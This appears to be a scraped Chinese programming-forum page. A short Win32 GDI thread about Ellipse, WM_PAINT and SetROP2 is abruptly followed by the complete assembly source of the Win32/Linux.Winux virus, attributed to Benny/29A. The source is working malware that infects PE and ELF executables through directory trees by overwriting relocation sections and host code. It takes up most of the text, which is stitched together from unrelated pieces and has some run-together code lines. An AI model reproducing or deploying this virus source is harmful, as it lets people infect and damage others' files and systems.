对了，还有Ellipse(hdc,0,10,x,140)前两个数分别表示矩形的左上点坐标，后两个参数才表示长和宽。给分，呵呵
解决方案 »
- xxxx.exe 中的 0x00414589 处未处理的异常: 0xC00000FD: Stack overflow问题
- 点击sdi框架的菜单选项，怎样获得这个选项的文字？
- 今天升星，散分
- 关于学习资料的问题
- 如何实现自动输入文件名的编辑框？
- AfxBeginThread的问题
- COM的属性不能是一个函数指针吗？
- hhoking(妙手仁心) 请进！
- SetViewportOrgEx与SetWindowOrgEx区别何在？
- 太奇怪了，为什么NT下运行正常，而98下连一点反应都没有？
- 抱歉，我没分了
- vc6.0技术内幕dll章中，我把例子重新编译一遍，但出错。{cannot open file "\bookcode\ex22c\Debug\ex22c.lib"}
int WINAPI WinMain上面一行试试
缺少分号？
#include "stdafx.h"
public:
int x=0;
LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
.
.
.
不可能会在public前加分号的
switch(message)
{
case WM_CREATE:
nMode=MM_TEXT;
case WM_LBUTTONDOWN:
修改为：
switch(message)
{
case WM_CREATE:
nMode=MM_TEXT;
break;
case WM_LBUTTONDOWN:其它类似的地方，也改过来。
case WM_CREATE:
nMode=MM_TEXT后面可以不加break吧，其他的case后面我都加了，但看书上一个类试的例子没有加。
在WM_PAINT最后有一个EndPaint,为什么要用它?
hdc = BeginPaint(hWnd, &ps);
RECT rt;
GetClientRect(hWnd, &rt);
if ( ptX == 150 )
Ellipse( hdc, ptX,160, ptX + 150, 200 ); // 初始绘制椭圆 １５０ x ４０
DrawText(hdc, szHello, strlen(szHello), &rt, DT_CENTER);
EndPaint(hWnd, &ps);
break;
case WM_LBUTTONDOWN:
hdc = GetDC( hWnd );
int nOLdDrawMode;
// 旧的绘图模式保存于nOLdDrawMode中
nOLdDrawMode = SetROP2( hdc, R2_NOTXORPEN );
// 以 R2_NOTXORPEN 绘图模式 擦出当前椭圆
Ellipse( hdc, ptX,160, ptX + 150, 200 );
// 横坐标自增
ptX++;
// 恢复旧有绘图模式
SetROP2( hdc, nOLdDrawMode );
// 绘制椭圆
Ellipse( hdc, ptX,160, ptX + 150, 200 );
ReleaseDC( hWnd, hdc );
break;
rcPaint 的大小决定了重绘区域。矩形 显然比 按线异或擦去 的区域大。而且即使处理 鼠标左键按下 以外的原因产生的 ＷＭ_PAINT 消息时 也重绘了椭圆。
所以次数也比较多。不过重绘矩形 擦除干净而且简单。我的还得改改才万无一失。长死了。
其实现在机器越来越好，画个小图的就不必谈效率什么的了
俺在家拼窗口都按像素算，也不是太慢了。（不过主要是因为不知道CDib是什么东西：）
哎呀，扯远了，就写到这里了，
; * 病毒 Win32/Linux.Winux *
; ***************************
; ******************
; * 作者 Benny/29A *
; ******************
;
;
;
;Heya ppl,
;
;lemme introduce you my first multi-platform virus, the worlds first
;PE/ELF infector. The idea of first Win32/Linux virus came to my head
;when I was learning Linux viruses. I'm not Linux expert, I couldn't
;code for Linux in assembler - I am familiar with Intel syntax, AT&T
;is a bit chaotic for me. However, I decided to learn more about Linux
;coding and left my place of newbee. I was always fascinated of Linux
;scene and low-level programming under Linux but I never knew much
;about it.
;
;I wanted to code virus for Linux and learn from it. But becoz there
;already exist some viruses and I knew I won't be able to bring any
;new technique, I decided to code something unique -> Win32/Linux
;compatible multi-platform infector. And here you can find the result
;of my trying. Now, after all, I've got some valuable experiencez and
;I'm glad for that. Coding/debugging in Linux was hard for me, but I
;had fun and I learned a lot. And that's the most important.
;
;
;********************
;*技术成分: *
;********************
;
;The virus itself ain't much. It's not big, it's not complicated,
;it's not resident nor polymorphic.. I wanted to be the virus like
;this. Just to show something new, show that something never seen
;before is possible and how can it be coded.
;
;The virus is devided to two partz: Win32 part and Linux part. Every
;part is able to infect both of PE and ELF filez. This source is
;designed to be compiled by TASM under Win32, nevertheless it can
;infect Linux programz and so then it will be able to be executed
;in Linux environment (and there it is also able to infect
;Win32 part, which can be executed in Win32 environment etc etc etc...).
;
;*************
;*Win32 部分:*
;*************
;
;Virus infects PE filez by overwritting .reloc section, so it does not
;enlarge host file size. Filez that don't have .reloc section, big
;enough for virus code, can't be infected (explorer.exe can be used to
;test infection capabilities). It can pass thru directory tree by well
;known "dotdot" method ("cd ..") and there infects all PE and ELF
;filez - virus does not check extensionz, it analyses victim's internal
;format and then decidez whata do.
;When all filez are passed and/or infected virus will execute host code.
;
;**************
;*Linux 部分: *
;**************
;
;Virus infects ELF filez by overwritting host code by viral code. The
;original host code is stored at the end of host file. It can infect
;all filez (both of PE and ELF) in current directory, also without
;checking file extensionz.
;When all filez are passed and/or infected virus will restore host code
;(overwrite itself by original host code) and execute it.
;
;
;Well, you are probably asking how it is possible that virus can infect Win32
;appz from Linux environment and Linux appz from Win32 environment. Yeah,
;many ppl already asked me. For instance, under some emulator. There exist
;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
;appz under Linux. Also, I know many ppl that have partition specially
;reserved for CD burning, where they store both of Win32 and Linux programz.
;Virus executed from there has no problemz with infection, heh ;)
;
;
;Does this virus work? Heh, sure it does. I tested it on Win98, Win2000 and
;RedHat 7.0, and it worked without any problemz. However, if you will find
;any problemz, don't by shy and send me a bug report ;-P
;
;
;************
;*版权信息: *
;************
;
;This virus is covered by GPL - GNU General Public Licence. All crucial
;facts can be found there. Read it before using!
;
;
;************
;*最终的话: *
;************
;
;While I was finishing Universe and coding Winux, many personal thingz
;happened to me. Again such depressive season as only winter can be
;fell down on me.. I'm finishing my high-school, last year, many examz
;(and I know nothing, you know that feeling, heh :) etc. End of next
;stage of my life is getting closer and I don't know how will that next
;one be for me, what it will take and bring to me. I'm looking forward
;to summer, the best season in the year, no depression, no school, no
;fucking problemz I still have and can't hold them all.. c ya l8r,
;somewhere in timespace..
;
;
;
;*********************************************
;* # Benny / 29A *
;* @ [email protected] *
;* (c) March, 2001 @ http://benny29a.cjb.net *
;* Czech Republic *
;*********************************************
.386p
.model flat include win32api.inc
include useful.inc
include mz.inc
include pe.inc
.data
db ?
.code
Start: pushad
@SEH_SetupFrame <jmp end_host> ;setup SEH frame call gdelta
gdelta: pop ebp ;ebp=delta offset call get_base ;get K32 base address
call get_apis ;find addresses of APIz lea eax,[ebp + prev_dir - gdelta]
push eax
push MAX_PATH
call [ebp + a_GetCurrentDirectoryA - gdelta]
;get current directory
push 20
pop ecx ;20 passes in directory tree
f_infect:
push ecx ;direct action - infect all PE filez in directory
lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
push esi ;save its address
@pushsz '*.*' ;search for all filez
call [ebp + a_FindFirstFileA - gdelta] ;find first file
inc eax
je e_find ;quit if not found
dec eax
push eax ;save search handle to stack f_next: call wCheckInfect ;infect found file push esi ;save WFD structure
push dword ptr [esp+4] ;and search handle from stack
call [ebp + a_FindNextFileA - gdelta];find next file
test eax,eax
jne f_next ;and infect it f_close:call [ebp + a_FindClose - gdelta] ;close search handle e_find: @pushsz '..'
mov esi,[ebp + a_SetCurrentDirectoryA - gdelta]
call esi ;go upper in directory tree
pop ecx
loop f_infect ;and again.. lea eax,[ebp + prev_dir - gdelta]
push eax
call esi ;go back to original directory end_host:
@SEH_RemoveFrame ;remove SEH frame
popad extrn ExitProcess
mov eax,offset ExitProcess-400000h
original_ep = dword ptr $-4
add eax,400000h
image_base = dword ptr $-4
jmp eax ;and go back to host program
;INFECT FILE (Win32 version)
wCheckInfect Proc
pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame and dword ptr [ebp + sucElf - gdelta],0
test [esi.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne end_seh ;discard directory entries
xor ecx,ecx
cmp [esi.WFD_nFileSizeHigh],ecx
jne end_seh ;discard files >4GB
mov eax,[esi.WFD_nFileSizeLow]
cmp eax,4000h
jb end_seh ;discard small filez
mov [ebp + l_lseek - gdelta],eax
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
lea eax,[esi.WFD_szFileName]
push eax
call [ebp + a_CreateFileA - gdelta] ;open file
inc eax
je end_seh
dec eax
mov [ebp + hFile - gdelta],eax cdq
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gdelta]
cdq
xchg eax,ecx
jecxz end_cfma
mov [ebp + hMapFile - gdelta],ecx push edx
push edx
push edx
push FILE_MAP_WRITE
push ecx ;map file to address space
call [ebp + a_MapViewOfFile - gdelta]
xchg eax,ecx
jecxz end_mvof
mov [ebp + lpFile - gdelta],ecx
jmp n_fileopen close_file:
push 12345678h
lpFile = dword ptr $-4 ;unmap file
call [ebp + a_UnmapViewOfFile - gdelta]
end_mvof:
push 12345678h
hMapFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta]
end_cfma:
mov ecx,12345678h ;was it linux program (ELF)?
sucElf = dword ptr $-4
jecxz c_close ;no, close that file push 2
push 0
push 0
push dword ptr [ebp + hFile - gdelta]
call [ebp + a_SetFilePointer - gdelta]
;go to EOF
push 0
lea eax,[ebp + sucElf - gdelta]
push eax
push virtual_end-Start
push 12345678h
a_mem = dword ptr $-4
push dword ptr [ebp + hFile - gdelta]
call [ebp + a_WriteFile - gdelta]
;write there orig. program part
push MEM_RELEASE
push 0
push dword ptr [ebp + a_mem - gdelta]
call [ebp + a_VirtualFree - gdelta]
;and deallocate used memory c_close:push 12345678h
hFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close file
jmp end_seh ;and quit
n_fileopen:
call check_elf
je wInfectELF ;is it Linux program (ELF)?
add ax,-IMAGE_DOS_SIGNATURE
jne close_file
call check_pe
jne close_file ;is it Win32 program (PE)? ;important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne close_file
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je close_file
test ax,IMAGE_FILE_DLL
jne close_file
test ax,IMAGE_FILE_SYSTEM
jne close_file
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne close_file movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je close_file
call header&relocs ;get PE headerz and check for relocs
je close_file ;quit if no relocs mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne close_file
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb close_file ;is it large enough? pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;erase relocs record call set_alignz ;align section variable
push dword ptr [ebp + original_ep - gdelta]
push dword ptr [ebp + image_base - gdelta]
;save used variablez
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - gdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - gdelta],eax
;set variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[ebp + lpFile - gdelta]
lea esi,[ebp + Start - gdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus body
popad
pop dword ptr [ebp + image_base - gdelta]
pop dword ptr [ebp + original_ep - gdelta]
;restore used variablez
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jmp close_file ;set flag and quit
wCheckInfect EndP
;INFECT LINUX PROGRAM (Win32 version)
wInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne close_file call get_elf ;get elf headerz p_sectionz:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz ;ECX-timez
jmp close_file ;invalid ELF, quit got_section:
mov eax,[ebp + Start - gdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je close_file ;infection check mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb close_file ;must be large enough push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push eax
push 0
call [ebp + a_VirtualAlloc - gdelta]
test eax,eax ;allocate buffer for host code
je close_file
mov [ebp + a_mem - gdelta],eax pushad
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
push esi
xchg eax,edi
rep movsb ;copy host code to our buffer pop edi
lea esi,[ebp + Start - gdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus body
popad
add dword ptr [edi+18h],LinuxStart-Start
mov [ebp + sucElf - gdelta],edi
jmp close_file ;set semaphore and quit
wInfectELF EndP ;this procedure can retrieve API addresses
get_apis Proc
pushad
@SEH_SetupFrame <jmp q_gpa>
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_gpa>;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP
;this procedure can retrieve base address of K32
get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP mov eax,12345678h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item call scan_kern ;scan the address space for K32
end_gb: pop ebp ;restore EBP
ret ;quit check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
signature db 0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0
;little signature of mine ;-) ;Viral entrypoint in Linux programz
LinuxStart:
push eax ;reserve variable for return to host
pushad
mov ebx,[esp.cPushad+8] ;get command line
call lgdelta
lgdelta:pop ebp ;ebp=delta offset mov ecx,end_end_lhost-end_lhost
sub esp,ecx
mov edi,esp
lea esi,[ebp + end_lhost - lgdelta]
rep movsb ;copy virus to stack and jump there
jmp esp ;(becoz we need to restore host code back) end_lhost Proc
push ebx
push 125
pop eax
lea ebx,[ebp + Start - lgdelta]
and ebx,0FFFFF000h
mov ecx,3000h
mov edx,7
int 80h ;deprotect code section
pop ebx push 5
pop eax
xor ecx,ecx
int 80h ;open host file
xchg eax,ebx
test ebx,ebx
jns read_host
q_host: xor eax,eax
inc eax
push -1
pop ebx
int 80h ;quit if error read_host:
push 19
pop eax
mov ecx,12345678h
l_lseek = dword ptr $-4
cdq
int 80h ;seek to saved host code (EOF - some bytez)
test eax,eax
js q_host pushad
push 5
pop eax
call cur_dir
db '.',0
cur_dir:pop ebx
xor ecx,ecx
cdq
int 80h ;get current directory descriptor
xchg eax,ebx
inf_dir:push 89
pop eax
lea ecx,[ebp + WFD - lgdelta]
int 80h ;get file from directory
xchg eax,ecx
jecxz cldir ;no more filez..
add eax,10
call lCheckInfect ;try to infect it
jmp inf_dir ;and look for another file
cldir: push 6
pop eax
int 80h ;close directory descriptor
popad push 3
pop eax
lea ecx,[ebp + Start - lgdelta]
mov edi,ecx
mov edx,virtual_end-Start
int 80h ;restore host code
test eax,eax
js q_host
push 6
pop eax
int 80h ;close host file descriptor add esp,end_end_lhost-end_lhost
mov [esp.cPushad],edi ;write host entrypoint address
popad
ret ;and jump to there
;INFECT FILE (Linux version)
lCheckInfect Proc
pushad xchg eax,ebx
push 5
pop eax
cdq
inc edx
inc edx
mov ecx,edx
int 80h ;open file
xchg eax,ebx
test ebx,ebx
jns c_open
popad
ret c_open: mov [ebp + f_handle - lgdelta],ebx
push 19
pop eax
xor ecx,ecx
int 80h ;seek to EOF = get file size
mov [ebp + l_lseek - lgdelta],eax
;save it
push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
push eax
xor ecx,ecx
push ecx
mov ebx,esp
push 90
pop eax
int 80h ;map file to address space
add esp,24
cmp eax,0FFFFF000h
jbe c_mmap ;quit if error
jmp c_file c_mmap: mov ecx,eax
mov [ebp + fm_handle - lgdelta],eax
pushad
call check_elf
je lInfectELF ;is it Linux program (ELF)?
add ax,IMAGE_DOS_SIGNATURE
jne c_mfile
call check_pe
jne c_mfile ;is it Win32 program (PE)? ;some important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne c_mfile
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je c_mfile
test ax,IMAGE_FILE_DLL
jne c_mfile
test ax,IMAGE_FILE_SYSTEM
jne c_mfile
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne c_mfile movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je c_mfile
call header&relocs ;get PE headerz and check for relocs
je c_mfile ;quit if no relocs mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne c_mfile
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb c_mfile ;is it large enough? pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;clear relocs record call set_alignz ;align section variable
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - lgdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - lgdelta],eax
;set some important variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[esp+24]
lea esi,[ebp + Start - lgdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus code
popad
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set flag
c_mfile:popad
push 91
pop eax
int 80h ;unmap file
c_file: push 6
pop eax
mov ebx,[ebp + f_handle - lgdelta]
int 80h ;close file descriptor
popad
ret ;and quit
lCheckInfect EndP
;INFECT LINUX PROGRAM (Linux version)
lInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne c_mfile call get_elf ;get ELF headerz p_sectionz2:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section2 ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz2 ;ECX-timez
jmp c_mfile ;invalid ELF, quit got_section2:
mov eax,[ebp + Start - lgdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je c_mfile ;infection check mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb c_mfile ;is it large enough? sub esp,eax ;create buffer in stack
mov [ebp + s_mem - lgdelta],eax add dword ptr [edi+18h],LinuxStart-Start
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
mov eax,esi
mov edi,esp
rep movsb ;copy original host code there mov edi,eax
lea esi,[ebp + Start - lgdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus push 91
pop eax
mov ebx,[ebp + fm_handle - lgdelta]
int 80h ;unmap file push 19
pop eax
mov ebx,[ebp + f_handle - lgdelta]
xor ecx,ecx
cdq
inc edx
inc edx
int 80h ;go to EOF push 4
pop eax
mov ecx,esp
mov edx,virtual_end-Start
int 80h ;write there original host code add esp,[ebp + s_mem - lgdelta]
popad ;correct stack
jmp c_file ;and close the file
lInfectELF EndP
;check if it is Linux program (ELF)
check_elf Proc
mov eax,[ecx]
push eax
add eax,-464C457Fh
pop eax
ret
check_elf EndP
;check if it is Win32 program (PE)
check_pe Proc
mov eax,[ecx.MZ_lfanew]
add eax,ecx
xchg eax,esi
mov eax,[esi]
add eax,IMAGE_NT_SIGNATURE
ret
check_pe EndP
;get some variablez and check for relocationz in PE file
header&relocs Proc
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
mov eax,[edx]
test eax,eax
ret
header&relocs EndP
;align section variable
set_alignz Proc
mov eax,virtual_end-Start
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: ret
set_alignz EndP
;get some important variablez from Linux program (ELF)
get_elf Proc
mov ebx,[edi+18h] ;EP
mov esi,[edi+20h] ;section header
add esi,edi ;normalize
movzx edx,word ptr [edi+2Eh] ;size of section header
movzx ecx,word ptr [edi+30h] ;number of sectionz
ret
get_elf EndP
end_end_lhost:
end_lhost EndP gpl db 'This GNU program is covered by GPL.',0
;licence agreement ;-) ;CRC32s of used APIz
crc32s: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 068624A9Dh ;CloseHandle
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 021777793h ;WriteFile
dd 085859D42h ;SetFilePointer
dd 0EBC6C18Bh ;GetCurrentDirectoryA
dd 0B2DBD7DCh ;SetCurrentDirectoryA
dd 07495B3ADh ;OutputDebugStringA
crc32c = ($-crc32s)/4 ;number of APIz virus_end: ;addresses of APIz
a_apis:
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_CloseHandle dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
a_WriteFile dd ?
a_SetFilePointer dd ?
a_GetCurrentDirectoryA dd ?
a_SetCurrentDirectoryA dd ?
a_OutputDebugStringA dd ? f_handle dd ? ;file handle
fm_handle dd ? ;file mapping handle
s_mem dd ? ;size of host code (for stack manipulationz)
WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
prev_dir db MAX_PATH dup (?);original directory virtual_end:
ends
End Start ;that's all folx, wasn't that kewl? ;-)